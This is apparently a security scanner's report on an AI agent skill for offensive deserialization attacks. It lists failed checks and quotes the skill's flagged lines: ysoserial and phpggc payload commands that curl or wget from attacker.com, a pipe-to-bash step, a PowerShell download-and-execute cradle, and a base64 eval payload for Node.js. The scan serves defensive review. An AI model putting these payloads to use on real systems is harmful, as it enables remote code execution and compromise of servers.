Offensive Deserialization

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

• No undeclared network calls: failed

  Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: attacker.com, deser-confirm.attacker.com.

  Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  Hosts contacted

  attacker.comundeclareddeser-confirm.attacker.comundeclared

  What it found (3 of 15)

  • Skills/web/offensive-deserialization/SKILL.md:91contacts attacker.com

    java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin

  • Skills/web/offensive-deserialization/SKILL.md:93contacts attacker.com

    java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin

  • Skills/web/offensive-deserialization/SKILL.md:98contacts attacker.com

    java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin

• No obfuscated payloads: failed

  Contains 3 obfuscated or encoded payload patterns.

  No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  What it found

  • Skills/web/offensive-deserialization/SKILL.md:243downloaded string passed to Invoke-Expression

    ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"

  • Skills/web/offensive-deserialization/SKILL.md:259PowerShell -EncodedCommand

    -c "powershell -enc BASE64CMD" \

  • Skills/web/offensive-deserialization/SKILL.md:356eval of a base64 Buffer

    {"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}

• No pipe-to-shell installers: failed

  Runs code fetched at install time in 1 place.

  No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  What it found

  • Skills/web/offensive-deserialization/SKILL.md:172remote script piped into a shell

    phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b

• Declares what it does: passed

  SKILL.md parses and declares a name and a description.

  SKILL.md exists, its frontmatter parses, and it declares a name and a description.

• No credential access: passed

  Reads no keys, tokens, keychains or credential files.

  Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

• Pinned to a commit: passed

  Scanned snailsploit/claude-red at a8de813edc.

  The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit

a8de813edc

Manifest

Skills/web/offensive-deserialization/SKILL.md

Scanned

1 file, 551 lines